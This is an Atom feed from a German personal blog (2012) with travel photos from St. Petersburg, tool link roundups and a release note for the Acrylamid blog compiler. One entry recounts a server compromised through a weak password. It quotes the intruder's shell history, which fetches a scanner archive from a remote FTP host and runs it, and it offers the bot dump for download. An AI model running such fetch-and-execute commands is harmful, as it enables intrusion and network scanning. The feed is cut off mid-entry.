posativhttp://blog.posativ.org/info@posativ.orgmecker. mecker. mecker.http://blog.posativ.org/2012-05-19T12:52:00ZacrylamidImpressionen aus Russland: St. Petersburgtag:blog.posativ.org,2012-05-19:/2012/impressionen-aus-russland-st-petersburg2012-05-19T12:52:00Zposativhttp://blog.posativ.org/info@posativ.org<p>Ich war ja vor einiger Zeit™ in Russland, aber bisher nicht in der Lage, eine
Bildergalerie mit <a href="http://jinja.pocoo.org/">Jinja2</a> zu basteln. Das habe ich
nachgeholt und hier sind ein paar Fotos aus dem schönen St. Petersburg gegen
Ende Februar.</p>
<figure>
<a href="/img/2012/st-petersburg/rest-01.JPG" style="float: left; width: 25%">
<img src="/img/2012/st-petersburg/thumbs/rest-01.JPG" width="150" height="150" alt="rest-01.JPG"/>
</a>
<a href="/img/2012/st-petersburg/rest-02.JPG" style="float: left; width: 25%">
<img src="/img/2012/st-petersburg/thumbs/rest-02.JPG" width="150" height="150" alt="rest-02.JPG"/>
</a>
<a href="/img/2012/st-petersburg/rest-03.JPG" style="float: left; width: 25%">
<img src="/img/2012/st-petersburg/thumbs/rest-03.JPG" width="150" height="150" alt="rest-03.JPG"/>
</a>
<a href="/img/2012/st-petersburg/rest-04.JPG" style="float: left; width: 25%">
<img src="/img/2012/st-petersburg/thumbs/rest-04.JPG" width="150" height="150" alt="rest-04.JPG"/>
</a>
</figure>
<p><br style="clear: both"/></p>
<figure>
<a href="/img/2012/st-petersburg/rest-05.JPG" style="float: left; width: 25%">
<img src="/img/2012/st-petersburg/thumbs/rest-05.JPG" width="150" height="150" alt="rest-05.JPG"/>
</a>
<a href="/img/2012/st-petersburg/rest-06.JPG" style="float: left; width: 25%">
<img src="/img/2012/st-petersburg/thumbs/rest-06.JPG" width="150" height="150" alt="rest-06.JPG"/>
</a>
<a href="/img/2012/st-petersburg/rest-07.JPG" style="float: left; width: 25%">
<img src="/img/2012/st-petersburg/thumbs/rest-07.JPG" width="150" height="150" alt="rest-07.JPG"/>
</a>
<a href="/img/2012/st-petersburg/rest-08.JPG" style="float: left; width: 25%">
<img src="/img/2012/st-petersburg/thumbs/rest-08.JPG" width="150" height="150" alt="rest-08.JPG"/>
</a>
</figure>
<p><br style="clear: both"/></p>
<figure>
<a href="/img/2012/st-petersburg/rest-09.JPG" style="float: left; width: 25%">
<img src="/img/2012/st-petersburg/thumbs/rest-09.JPG" width="150" height="150" alt="rest-09.JPG"/>
</a>
<a href="/img/2012/st-petersburg/rest-10.JPG" style="float: left; width: 25%">
<img src="/img/2012/st-petersburg/thumbs/rest-10.JPG" width="150" height="150" alt="rest-10.JPG"/>
</a>
<a href="/img/2012/st-petersburg/rest-11.JPG" style="float: left; width: 25%">
<img src="/img/2012/st-petersburg/thumbs/rest-11.JPG" width="150" height="150" alt="rest-11.JPG"/>
</a>
<a href="/img/2012/st-petersburg/rest-12.JPG" style="float: left; width: 25%">
<img src="/img/2012/st-petersburg/thumbs/rest-12.JPG" width="150" height="150" alt="rest-12.JPG"/>
</a>
</figure>
<p><br style="clear: both"/></p>
<figure>
<a href="/img/2012/st-petersburg/rest-13.JPG" style="float: left; width: 25%">
<img src="/img/2012/st-petersburg/thumbs/rest-13.JPG" width="150" height="150" alt="rest-13.JPG"/>
</a>
<a href="/img/2012/st-petersburg/rest-14.JPG" style="float: left; width: 25%">
<img src="/img/2012/st-petersburg/thumbs/rest-14.JPG" width="150" height="150" alt="rest-14.JPG"/>
</a>
<a href="/img/2012/st-petersburg/rest-15.JPG" style="float: left; width: 25%">
<img src="/img/2012/st-petersburg/thumbs/rest-15.JPG" width="150" height="150" alt="rest-15.JPG"/>
</a>
<a href="/img/2012/st-petersburg/rest-16.JPG" style="float: left; width: 25%">
<img src="/img/2012/st-petersburg/thumbs/rest-16.JPG" width="150" height="150" alt="rest-16.JPG"/>
</a>
</figure>
<p><br style="clear: both"/></p>
<p>Ein besonderes Highlight hatten wir durch <a href="http://www.couchsurfing.org/">Couch
Surfing</a>: wir konnten im Studentenwerk schlafen.
Wer jetzt an geräumige Zimmer mit viel Komfort denkt, liegt falsch. Die
heruntergekommen Bauten sind videoüberwacht und man darf nur als eingetragener
Student überhaupt in das Haus hinein. Es teilen sich drei Menschen ein Zimmer,
40 Menschen drei Toiletten und keiner macht sauber. Internetversorgung ist <span class="caps">DIY</span>,
wer sich nicht mit 40 Leuten eine 56k-Verbindung teilen will, holt sich Internet
via Mobilfunk.</p>
<p>Die Feuerleiter ist übrigens unser täglicher Eingang gewesen. Dafür ist die
Gastfreundschaft armer Studenten besser als jedes Hotel.</p>
<figure>
<a href="/img/2012/st-petersburg/stw_2537.JPG" style="float: left; width: 25%">
<img src="/img/2012/st-petersburg/thumbs/stw_2537.JPG" width="150" height="150" alt="stw_2537.JPG"/>
</a>
<a href="/img/2012/st-petersburg/stw_2541.JPG" style="float: left; width: 25%">
<img src="/img/2012/st-petersburg/thumbs/stw_2541.JPG" width="150" height="150" alt="stw_2541.JPG"/>
</a>
<a href="/img/2012/st-petersburg/stw_2543.JPG" style="float: left; width: 25%">
<img src="/img/2012/st-petersburg/thumbs/stw_2543.JPG" width="150" height="150" alt="stw_2543.JPG"/>
</a>
<a href="/img/2012/st-petersburg/stw_2668.JPG" style="float: left; width: 25%">
<img src="/img/2012/st-petersburg/thumbs/stw_2668.JPG" width="150" height="150" alt="stw_2668.JPG"/>
</a>
</figure>
<p><br style="clear: both"/></p>
<figure>
<a href="/img/2012/st-petersburg/stw_2670.JPG" style="float: left; width: 25%">
<img src="/img/2012/st-petersburg/thumbs/stw_2670.JPG" width="150" height="150" alt="stw_2670.JPG"/>
</a>
<a href="/img/2012/st-petersburg/stw_2687.JPG" style="float: left; width: 25%">
<img src="/img/2012/st-petersburg/thumbs/stw_2687.JPG" width="150" height="150" alt="stw_2687.JPG"/>
</a>
</figure>
<p><br style="clear: both"/></p>
<p>Neben der <a href="https://de.wikipedia.org/wiki/Kunstkamera">Kunstkamera</a> ein altes
aber gutes <span class="caps">UDSSR</span>-Museum. Mit etwas Feilschen kommt man auch als Jenaer Student
zum ermäßigten Tarif rein.</p>
<figure>
<a href="/img/2012/st-petersburg/natur_2592.JPG" style="float: left; width: 25%">
<img src="/img/2012/st-petersburg/thumbs/natur_2592.JPG" width="150" height="150" alt="natur_2592.JPG"/>
</a>
<a href="/img/2012/st-petersburg/natur_2636.JPG" style="float: left; width: 25%">
<img src="/img/2012/st-petersburg/thumbs/natur_2636.JPG" width="150" height="150" alt="natur_2636.JPG"/>
</a>
</figure>
<p><br style="clear: both"/></p>
<p>Nach drei Tagen ging es mit der Eisenbahn über zwei Tage Richtung
Yekaterinburg… <em>to be continued</em>.</p>Hack'dtag:blog.posativ.org,2012-05-18:/2012/qq-und-die-it-sicherheit2012-05-18T20:37:00Zposativhttp://blog.posativ.org/info@posativ.org<p>Letzten Mittwoch bekam ich während einer Vorlesung ‘ne Mail, dass das
Rechenzentrum der Universität einen Hack0r-Angriff an einem unserer
Rechensklaven festgestellt hat. Etwas schockiert, wie <span class="caps">DAS</span> nur mit <span class="caps">LINUX</span>
passieren konnte, bin ich schnell vorbeigekommen und fand in der Tat eine Art “Bot”.</p>
<p>Als ordentlicher Sys-Admin nutzen ich und meine Kollegin nur <span class="caps"><abbr title="Secure Shell">SSH</abbr></span>-Keys und so
dachte ich mir auch nichts, als ich bei der versehentlichen Deskop-Variante
von Ubuntu dem Standard-Nutzer das Passwort <code>qq</code> zu geben, immerhin würde ich
ja den <span class="caps"><abbr title="Secure Shell">SSH</abbr></span>-Zugang auf Schlüsseldateien beschränken. Naja, dazu kam es dann
doch nicht, weil sich die Biologen im Praktikum schon so schwer genug mit
einer <span class="caps">UNIX</span>-Shell tun und so konnte man sich weiterhin per Passwort einloggen.</p>
<p>So hat sich dann nach mehreren Monaten – 191 Tage um genau zu sein – doch
endlich jemand gefunden und den viel, viel schwereren Nutzernamen zu obigem
Passwort zu finden! Nämlich “dev”. Das ist <em>Security by Obscurity</em> vom
feinsten! Der Bot war aber auch nicht der klügste. Seine Aktivitäten waren
(primär Portscanning) komplett in der <em>.bash_history</em> nachzulesen:</p>
<div class="highlight"><pre><span class="nv">$ </span>wget ftp://test:testtest@62.160.84.235/KapelaScan.tgz; tar zxvf K*
<span class="nv">$ </span>rm -rf KapelaScan.tgz; <span class="nb">cd </span>kapela
<span class="nv">$ </span>chmod +x *
<span class="nv">$ </span>ls
<span class="nv">$ </span>./a 80.236
<span class="nv">$ </span>ps x
</pre></div>
<p>Ein <code>rm -rf /home/dev</code> setzte dem Spuk dann ein Ende. Wer an einem
<a href="/files/2012/kapela.zip">Dump</a> interessiert ist. Inklusive Passwortliste, wo
auch <code>qq</code> gelistet war. Es ist also <em>wirklich</em> ein unsicheres Passwort :-)</p>Linkschleuder #23tag:blog.posativ.org,2012-05-02:/2012/linkschleuder-232012-05-02T18:59:00Zposativhttp://blog.posativ.org/info@posativ.org<p>Wieder mal eine etwas umfangreicherer Auswurf zu allerlei nutzlosen bis nützlichen Projekten.</p>
<h3>Misc</h3>
<ul>
<li><a href="https://github.com/myusuf3/octogit">octogit</a> – ein kleines Tool (mit <a href="https://github.com/myusuf3/octogit/pull/14">gigantischen Dependencies</a>) für Github’s Issues, das das Projekt automatisch aus dem unterliegenden Git-Repository entnimmt (und bei non-<span class="caps"><abbr title="American Standard Code for Information Interchange">ASCII</abbr></span> failt m).</li>
<li><a href="http://dotfiles.github.com/">Github ❤ ~/</a> – <em>Your unofficial guide to dotfiles on GitHub.</em></li>
<li><a href="http://nitrotasks.com/">Nitro</a> – ein freies Programm für das <span class="caps">TODO</span>-Management.</li>
<li><a href="http://www.funtoo.org/wiki/Welcome">Funtoo</a> – wie der Name erwarten lässt, eine Art <a href="http://www.gentoo.org/">Gentoo</a> nur git-based, verteilter Portage Tree und vieles mehr.</li>
<li><a href="https://github.com/sferik/t">t</a> – <em>t</em> ist Twitter für die <span class="caps"><abbr title="Command Line Interface">CLI</abbr></span>, die sich gut in die <span class="caps">UNIX</span>-Toolchain integriert.</li>
<li><a href="http://trilandev.com/snippets/">Snippets</a> – ist eine Art static compiler (angelehnt an <a href="http://pelican.notmyidea.org/">Pelican</a>) für Code-Schnipsel, schon ganz hübsch.</li>
<li><a href="http://casperjs.org/">CasperJS</a> – ist ein Webkit/<span class="caps">JS</span>-Framework um Browser-Interaktionen automatisiert zu testen.</li>
<li><a href="http://codebomber.com/jquery/resizer/">Resizer</a> – <em>A responsive design bookmarklet</em> (gefunden von <a href="http://sebix.github.com/">sebix</a>), alternativ gibt’s auch <a href="http://www.benjaminkeen.com/misc/bricss/">diesen Generator</a>.</li>
<li><a href="https://github.com/plaetzchen/Rezepte">Rezepte</a> – verschiedene Kochrezepte, die mit social coding auf GitHub entstanden sind :-)</li>
<li><a href="http://www.radiotux.de/index.php?/categories/16-Binaergewitter">Binärgewitter</a> – ein Geek-Podcast und darum hörenswert!</li>
<li><a href="http://matt.might.net/articles/programmers-resolutions/">12 resulutions for programmers</a></li>
</ul>
<h3><span class="caps">OS</span> X</h3>
<ul>
<li><a href="http://markedapp.com/">Marked</a> – eine kostenpflichtige App für <span class="caps">OS</span> X, die einfach per <a href="https://en.wikipedia.org/wiki/FSEvents">FSEvent</a> Markdown in besonders hübsch rendert. Mit eigenen Skripts kann man damit auch reStructuredText rendern.</li>
<li><a href="http://www.omh.cc/Clyppan-Clipboard-Manager-for-the-Mac/">Clyppan</a> – die Linuxer werden sich jetzt totlachen, aber um an alte Zwischenablagen zu kommen, müssen Mac-User schon 5 € investieren.</li>
<li><a href="http://www.klieme.com/TimeMachineScheduler.html">TimeMachineScheduler</a> – ist eine kostenlose Preference Pane, die z.B. das Backup-Intervall steuern kann (ist bug-lastig, wenn das Backup nicht immer angeschlossen ist!). Andernfalls hilft auch ein beherztes <code>sudo defaults write /System/Library/LaunchDaemons/com.apple.backupd-auto StartInterval -int 14400</code> um das Backup alle drei Stunden auszuführen.</li>
<li><a href="http://superuser.com/questions/251969/disable-or-sleep-secondary-hard-drive-in-macbook">Disable or sleep secondary hard drive in Macbook</a> – denn nach einem <span class="caps">SSD</span>-Upgrade ist es schon recht nervig, dass die zweite <span class="caps">HDD</span> endlos weiterläuft.</li>
</ul>
<h3>Python</h3>
<ul>
<li><a href="http://mg.pov.lt/restview/">restview</a> – ein sehr praktischer reStructuredText Viewer, leider ohne <a href="http://sphinx.pocoo.org/">Sphinx</a>-Support.</li>
<li><a href="http://pypi.python.org/pypi/cram">cram</a> – <span class="caps">BBD</span> aka Behavior Driven development für <span class="caps"><abbr title="Command Line Interface">CLI</abbr></span>-Tools und wird unter anderem auch von <a href="http://mercurial.selenic.com/">mercurial</a> genutzt.</li>
<li><a href="http://home.wlu.edu/~lambertk/pythontojava/">Python to Java</a> – weil es das Studium wieder verlangt: wieviel Boilerplate brauche ich, um ein Konstrukt von Python in Java zu schreiben. Eine sehr hilfreiche Referenz!</li>
<li><a href="https://github.com/jabapyth/codetalker">Codetalker</a> – <em>A succinct, pythonic parser + translator solution</em></li>
<li><a href="https://github.com/toastdriven/microsearch/blob/master/microsearch.py">microsearch</a> – eine wunderbar dokumentierte Lösung für eine performante Search-Engine in Python.</li>
<li><a href="http://www.tarind.com/depgraph.html">depgraph</a> – <em>Generating Python Module Dependency Graphs</em></li>
<li><a href="http://projects.unbit.it/uwsgi/wiki">uWSGI</a> – ein micro-<a href="https://en.wikipedia.org/wiki/Web_Server_Gateway_Interface"><span class="caps"><abbr title="Web Server Gateway Interface">WSGI</abbr></span></a> Server, der einen mit seinen <span class="caps"><abbr title="Command Line Interface">CLI</abbr></span>-Optionen regelrecht erschlägt: <code>wsgi --help | wc -l</code> ergeben 379 Zeilen. Selbst ausgereifte Tools wie <code>wget</code> oder <code>curl</code> haben nur knapp die Hälfte.</li>
</ul>Linkschleuder #22tag:blog.posativ.org,2012-04-12:/2012/linkschleuder-222012-04-12T13:02:00Zposativhttp://blog.posativ.org/info@posativ.org<ul>
<li><a href="http://microjs.com/">Microjs</a> – Micro-Frameworks und Micro-Libraries von
wenigen hundert Bytes bis drei, vier Kilobytes, die man über das
Anti-Framework <a href="http://ender.no.de/">Ender</a> auch einfach zusammenbasteln kann.</li>
<li><a href="http://shichuan.github.com/javascript-patterns/">JavaScript Patterns</a> – ist
eine recht ansehnliche Sammlung über allgemeine <span class="caps">JS</span>-Patterns, Design Patterns
JQuery und vieles mehr.</li>
<li><a href="https://www.gnu.org/software/parallel/"><span class="caps">GNU</span> parallel</a> – ist ein Tool für
Linux (gibt auch einen <span class="caps"><abbr title="Berkeley System Distribution">BSD</abbr></span> Port), das parallele Jobs in der Shell
vereinfachen soll (via <a href="http://noqqe.de/blog/2012/01/08/gnu-parallel/">Noqqe</a>
mit vielen Beispielen dazu).</li>
<li><a href="https://github.com/jonashaag/klaus">Klaus</a> – <em>a simple Git web viewer that
Just Works™.</em></li>
<li><a href="http://cream-project.org/">Cream Desktop Environment</a> – <span class="caps">GTK</span>+ nach dem
<span class="caps"><abbr title="Keep it simple, stupid">KISS</abbr></span>-Prinzip. Vielleicht eine Alternative zu Gnome/<span class="caps"><abbr title="K-Desktop Environment; Kolorful Diskfilling Environment">KDE</abbr></span>.</li>
<li><a href="http://packages.python.org/curlish/">Curlish</a> – yet another buntes cURL.</li>
<li><a href="https://endno.de/~itsnotabigtruck/inception/">Inception</a> – für mehr Kontrolle
im N9 (dessen Meego Serie ja fortgesetzt wird als low-end System). Hab’ das
Telefon nicht, aber Projektname und Seite gefällt mir sehr.</li>
<li><a href="http://www.hanynet.com/icefloor/index.html">Icefloor</a> – ein Front-End für
<span class="caps">IPFW</span> unter <span class="caps">OS</span> X Lion, soll aber noch nicht ganz fehlerfrei sein (via
<a href="http://mycrobase.de/">cmur2</a>).</li>
<li><a href="http://appdrive.net/mediathek/">Mediathek für Mac</a> – die
öffentlich-rechtlichen direkt am Mac streamen, frei wie Freibier.</li>
<li><a href="https://bazaar.launchpad.net/~divmod-dev/divmod.org/trunk/files/head:/Reverend/">Reverend</a> – ein einfacher bayesscher Filter implementiert in Python.</li>
<li><a href="http://nedbatchelder.com/code/coverage/">coverage.py</a> – ein Python-Skript,
das die Code-Nutzung nach einem Durchlauf per Text oder <span class="caps">HTML</span> Ausgabe angibt.
Etwas buggy bei jinja2-Templates und allgemein fehlerbehaftet bei mir. Kann
ja noch werden.</li>
<li><a href="https://github.com/alfredodeza/konira">Konira</a> – ein Python Testing Framework
mit einer <span class="caps"><abbr title="Domain Specific Language">DSL</abbr></span>! Das ist die wohl erste Python-<span class="caps"><abbr title="Domain Specific Language">DSL</abbr></span> die mir je unterkommen ist
und sieht klasse aus (<a href="http://rspec.info/">rspec</a>-like)!</li>
<li><a href="http://www.latextemplates.com/">LaTeX Templates</a> – qualitative (englische)
LaTeX-Templates für lau (via <a href="http://www.schockwellenreiter.de/blog/2012/04/11/peters-linkschleuder-107/">Schockwellenreiter</a>).</li>
<li><a href="http://adriank.redirectme.net/artikel/mobile-endgeraete-und-freie-software">mobile Engeräte und freie Software</a> – eine gute Übersicht über den
aktuellen Stand freier Software auf Smartphones (nein, Android ist noch immer
nicht <em>frei</em>) und Tablets. Sieht mau aus.</li>
<li><a href="http://www.boston.com/bostonglobe/ideas/naps/">How to nap</a> – jetzt ‘mal was
ganz anderes: Nickerchen von ca. 20-45 Minuten sollen die Leistungsfähigkeit
am Abend enorm erhöhen.</li>
</ul>
<p>Ich hoffe, es ist für jeden ‘was dabei.</p>Acrylamid 0.3 – yet another static blog compilertag:blog.posativ.org,2012-04-02:/2012/acrylamid-0-3-yet-another-static-blog-compiler2012-04-02T00:42:00Zposativhttp://blog.posativ.org/info@posativ.org<p>Ich freue mich, heute <em>endlich</em> Version 0.3 meines statischen Blog-Compilers
<em>“Acrylamid”</em> zu veröffentlichen (ehemals <a href="http://blog.posativ.org/2011/lilith-yet-another-blog-rewrite/">lilith</a>). Einiges getan, so nutze
ich <span class="caps">HTML5</span> als Layout-Grundlage, habe eine neue <a href="http://blog.posativ.org/articles/">Artikel-Ansicht</a> und allerlei
Detailverbesserungen im System selbst, ein kurzer Auszug:</p>
<ul>
<li>full-featured Blog mit Index, Full-Entry, Artikel und Tags (WordPress halt) in
statische Seiten gebacken.</li>
<li>typographische Feinheiten, MathML und Silbentrennung für diverse Sprachen</li>
<li><span class="caps">RSS</span>-Import, Autokompilierung bei Änderungen, Deployment</li>
<li>einen Jinja2-Filter mit dem man Jinja2 in Einträgen schreiben kann, denn I
<span class="caps">HERD</span> U <span class="caps">LIEK</span> <span class="caps">JINJA2</span> <span class="caps">SO</span> I <span class="caps">PUT</span> A <span class="caps">JINJA2</span> <span class="caps">IN</span> <span class="caps">UR</span> <span class="caps">JINJA2</span> <span class="caps">SO</span> U <span class="caps">CAN</span> <span class="caps">WRITE</span> <span class="caps">TEMPLATES</span>
<span class="caps">WHILE</span> U <span class="caps">WRITE</span> <span class="caps">TEMPLATES</span></li>
<li>Aufräumen von verwaisten Dateien im Ausgabe-Verzeichnis</li>
<li>überarbeitete <span class="caps"><abbr title="Application programming interface">API</abbr></span> ähnlich zur <a href="http://pelican.notmyidea.org/en/2.8/internals.html">Pelican</a>-<span class="caps"><abbr title="Application programming interface">API</abbr></span></li>
<li>einen portierten Acronym-Filter, der automatisch <span class="caps"><abbr title="Domain Specific Language">DSL</abbr></span>, <span class="caps"><abbr title="Web Server Gateway Interface">WSGI</abbr></span> und <span class="caps"><abbr title="Extensible Messaging and Presence Protocol">XMPP</abbr></span> dem
weniger versierten Nutzer kurz erläutert</li>
</ul>
<p>Erwähnenswert ist übrigens die Ausführung von <span class="caps">UNIX</span>-Skripten direkt im Eintrag
<a href="https://github.com/posativ/blog.posativ.org/blob/master/content/2012/acrylamid-0.3.txt">acrylamid-0.3.txt</a>:</p>
<div class="highlight"><pre><span class="gp">$</span>> ls -l
<span class="go">total 2240</span>
<span class="go">-rw-r--r-- 1 ich staff 543 Mai 7 19:57 <span class="caps">README</span>.md</span>
<span class="go">-rw-r--r-- 1 ich staff 1657 Mai 8 23:02 conf.py</span>
<span class="go">drwxr-xr-x 8 ich staff 272 Mai 2 15:01 content</span>
<span class="go">drwxr-xr-x 2 ich staff 68 Apr 11 22:07 filters</span>
<span class="go">drwxr-xr-x 8 ich staff 272 Mai 8 23:04 layouts</span>
<span class="go">-rw-r--r-- 1 ich staff 849641 Mai 12 14:54 out.png</span>
<span class="go">drwxr-xr-x 29 ich staff 986 Mai 12 18:03 output</span>
<span class="go">-rw-r--r-- 1 ich staff 1433175 Mai 12 14:54 pstats</span>
<span class="gp">$</span>> find content | wc -l
<span class="go">175</span>
<span class="gp">$</span>> git log -3 --no-color --oneline
<span class="go">390a2b0 fix typos, escaping and remove search</span>
<span class="go">10c99c0 remove previous atom-feed sitemap</span>
<span class="go">60e4128 update + sitemap.xml</span>
</pre></div>
<h3>Interna</h3>
<p>Das Wichtigste ist eigentlich das System für das Tracken von Änderungen im
Content oder Layout auf dem Dateisystems. So müssen bei mehreren Durchläufen
nur bestimmte Einträge neu gerendert werden, bei Layout-Änderungen kann sogar
komplett auf den Cache zurückgegriffen werden. Dadurch reduziert sich die
Rechenzeit von ehemals 45 Sekunden auf ungefähr eine Sekunde, wenn ich einen
neuen Eintrag schreibe – inklusive Änderung der Tag/<span class="caps">RSS</span>/Index-Ansichten.</p>
<p><a href="https://github.com/posativ/acrylamid">Acrylamid</a> nutzt dafür tolle <a href="http://jinja.pocoo.org/docs/api/#the-meta-api">Jinja2-Magie</a> um nur gezielt alle von den
Änderungen am Template betroffenen Seiten neu zu rendern. Für die einzelnen
Filter, die individuell pro Eintrag und Ansicht angewendet werden können, nutze
ich ein komplexes System aus verzögerter Ausführung und Zurückführung auf
gemeinsame Filter, sodass Ansichten wie bsw. <span class="caps">RSS</span> ohne Silbentrennung und
Zusammenfassung und eine Index-Ansicht mit Silbentrennung und Zusammenfassung
dennoch das gemeinsame Markdown-Intermediat nutzen, womit jede zusätzliche
Ansicht ohne merkliche Erhöhung der Rechenzeit gerendert werden kann.</p>
<h3>Weltherrschaftsplan</h3>
<p>Leider hat es mit <a href="http://blog.posativ.org/2011/lilith-der-plan-zur-weltherrschaft/">der Dominierung</a> noch nicht so ganz geklappt, die
Suchfunktion ist mit dem <span class="caps">HTML5</span>-Layout wieder einmal unfunktional (ja ich hatte
zwischenzeitlich eine statische Suche) und ich habe immer noch keine merkliche
Unterstützung für Assets. Ich möchte auch testen inwiefern sich Acrylamid für
große Blogs mit vielen hundert Einträgen eignet. Derzeit rennt er mir bei ca.
160 Einträgen in unter einer Sekunde durch, wenn es nichts zu tun gibt.</p>
<p>Acrylamid ist unter der revised <span class="caps"><abbr title="Berkeley System Distribution">BSD</abbr></span>-Lizenz lizensiert und wird auf
<a href="http://blog.posativ.org/2011/lilith-yet-another-blog-rewrite/">GitHub</a> aktiv von mir entwickelt. Über Feedback freue ich mich!</p>Linkschleuder #21tag:blog.posativ.org,2012-04-01:/2012/linkschleuder-212012-04-01T20:41:00Zposativhttp://blog.posativ.org/info@posativ.org<ul>
<li><a href="http://gitcasts.com/">GitCasts</a> – kostenfreie Screencasts über Git über Rebasing, Branching etc.</li>
<li><a href="https://www.destroyallsoftware.com/screencasts">Destroy All Software</a> – kurze, schnelle
(kommerzielle) Screencasts mit vielen kleinen Details über Ruby, <span class="caps">UNIX</span>
und Vim. Empfehlenswert!</li>
<li><a href="http://cytoplasm.somethingsido.com/">Cytoplasm</a> – static blogging in Python mit gigantischer
Dokumentation, aber komplizierter Konfiguration. Wäre ein Blick wert.</li>
<li><a href="https://github.com/cmur2/wcc">Web Change Checker</a> – ist ein mächtiges Toolkit um sich über
Änderung auf Webseiten per Email, <span class="caps"><abbr title="Extensible Messaging and Presence Protocol">XMPP</abbr></span> oder <span class="caps">RSS</span> auf dem Laufenden zu halten. Überaus nützlich!</li>
<li><a href="http://www.pcre.org/"><span class="caps">PCRE</span></a> – einmal pro Jahr wünsche ich mir mit <code>grep</code> multiline zu suchen
und ich finde heraus, dass das nicht funktioniert. Mit <span class="caps">PCRE</span> soll das wohl funktionieren, wenn
auch mit merkwürdigen <span class="caps"><abbr title="Command Line Interface">CLI</abbr></span>-Flags.</li>
<li><a href="http://metaquark.de/appfresh/mac">AppFresh</a> – ist ein ganz nettes Pendant zu
<a href="https://secunia.com/vulnerability_scanning/personal/">Secunias <span class="caps">PSI</span></a> für Windows und hat mich auf manche Updates hingewiesen.</li>
<li><a href="http://vagrantup.com/?v1">Vagrant</a> – <em>Virtualized development made easy.</em> </li>
<li><a href="http://codeascraft.etsy.com/2011/02/15/measure-anything-measure-everything/">Measure Anything, Measure Everything</a> – viele und schöne Statistiken, war mir ein
Blogmark wert.</li>
<li><a href="https://code.google.com/p/jrfonseca/wiki/Gprof2Dot">Gprof2Dot</a> – verwandelt Profiling Daten von
Python, Java etc. pp. in einen gigantischen Graphen aus prozentualer Rechenzeit. <a href="/img/2012/gprof2dot.png">Sieht
fantastisch</a> aus!</li>
<li><a href="http://jimmyg.org/blog/2009/python-command-line-interface-%28cli%29-with-sub-commands.html">Writing a Python Command Line Interface with Sub-Commands</a>, hat mir einen guten Denkanstoß
gegeben Python’s (deprecated) <code>optparse</code> nicht so verkrampft zu nutzen, sondern einfach Flags
parsen lassen.</li>
</ul>Linkschleuder #20tag:blog.posativ.org,2012-03-26:/2012/linkschleuder-202012-03-26T00:13:00Zposativhttp://blog.posativ.org/info@posativ.org<p>Und hier die Fortsetzung der <a href="/2012/linkschleuder-19/">19</a>, alles was ungleich <span class="caps">OS</span> X ist:</p>
<h3>Web, Programming <span class="amp">&</span> Python</h3>
<ul>
<li><a href="http://raveraverave.co.uk/site/scripts/com.php">comment_rave</a> – ein freies Kommentarsystem auf
<span class="caps">PHP</span>-Basis. Will ich schon seit <em>Jahren</em> testen!</li>
<li><a href="http://www.asciiflow.com/">Asciiflow</a> – ein <span class="caps"><abbr title="American Standard Code for Information Interchange">ASCII</abbr></span> Flow Diagramm Werkzeug im Browser.</li>
<li><a href="https://github.com/rstacruz/sparkup">Sparkup</a> – Yet another <span class="caps">HTML</span> Präprozessor, der einen <span class="caps">HTML</span>
schneller schreiben lässt. Mit <a href="http://www.youtube.com/watch?v=Jw3jipcenKc">Video-Beweis</a>!1</li>
<li><a href="http://pycoders.us4.list-manage.com/subscribe?u=9735795484d2e4c204da82a29&id=64134e0a27">Pycoder’s Weekly</a> – eine privacy-unaware (?) Liste, die wöchentlich (manchmal wirklich)
interessante Links rund um Python verschickt. Blöd ist, dass die Mail im Browser besser weitaus
aussieht und außerdem keine echten Links gesetzt werden.</li>
<li><a href="http://www.rafekettler.com/magicmethods.html">A Guide to Python’s Magic Methods</a> –
und der Vollständigkeit halber gleich noch das Python <a href="http://docs.python.org/reference/datamodel.html">Data
model</a>.</li>
<li><a href="https://code.google.com/p/pyp/">pyp</a> – eine Python-Werkzeug für das on-the-fly Pipen in Shells
mit builtin-Helpers und so.</li>
<li><a href="https://github.com/stochastic-technologies/goatfish">goatfish</a> – eine Python Library, das
schemaloses <span class="caps"><abbr title="Object-Relational Mapping">ORM</abbr></span> in eine SQLite pumpt. Vielleicht ein Fallback, wenn es keine große NoSQL-Datenbank gibt.</li>
<li><a href="http://v1v3kn.tumblr.com/post/18238156967/roll-your-own-autocomplete-solution-using-tries">Tries</a>
– <em>Roll your own autocomplete solution using Tries.</em></li>
<li><a href="http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html">A Note About Git Commit Messages</a> – wie man <em>gute</em> Commit Nachrichten schreibt. Brachte mich
vom past tense zum present tense.</li>
<li><a href="http://help.github.com/line-endings/">Line endings</a> – <em>Mac and Linux users, you don’t get to sit
this one out.</em></li>
</ul>
<h3>Linux/Unix-Zeug</h3>
<ul>
<li><a href="http://openbook.galileocomputing.de/linux/">Linux. Das umfassende Handbuch</a> – ein weiteres
\<openbook> von Galileo Computing in der neusten Auflage (via <a href="http://www.schockwellenreiter.de/blog/2012/02/14/lesefutter-fur-klamme-geldborsen/">Schockwellenreiter</a>).</li>
<li><a href="http://sourceforge.net/projects/suicide-linux/">Suicide-Linux</a> – <em>Encourages users not to
misspell commands</em>, (die User Reviews sind auch sehr gut ;-)</li>
<li><a href="http://www.huyng.com/bashmarks-directory-bookmarks-for-the-shell/">bashmarks</a> – <em>directory
bookmarks for the shell.</em></li>
<li><a href="http://www.corntab.com/pages/crontab-gui">crontab-gui</a> – <em>A visual crontab utility.</em></li>
<li><a href="http://oss.oetiker.ch/smokeping/">SmokePing</a> – ein Tool, das die Netzwerk-Latenz misst und in
eine <span class="caps">RDD</span> schreibt. <a href="http://blog.koehntopp.de/uploads/graph-noch-besser.png">Sieht echt gut aus</a>!</li>
<li><a href="http://www.openwall.com/john/">john</a> – ist eigentlich ein Passwort-Cracker, kann aber auch
(limitiert) Wortlisten erstellen. Aber nicht so gut wie <code>crunch</code>.</li>
<li><a href="http://sourceforge.net/projects/crunch-wordlist/">crunch</a> – ein Wortlisten-Generator, der aus
einem Charsets alle Permutationen bestimmter Länge und Komplexität erstellt. Eignet sich prima für
<code>aircrack-ng</code>‘s <span class="caps">STDIN</span> :-)</li>
<li><a href="https://github.com/aziz/tmuxinator">tmuxinator</a> – <em>Create and manage tmux sessions easily.</em></li>
<li><a href="https://github.com/remiprev/teamocil">Teamocil</a> – <em>Teamocil is a simple tool used to
automatically create sessions, windows and splits in tmux with <span class="caps"><abbr title="YAML Ain't Markup Language">YAML</abbr></span> files.</em> Testen!</li>
<li><a href="http://gpodder.org/downloads">gpodder</a> – ein Podcast-Client für diverse OSes, will man aber nicht
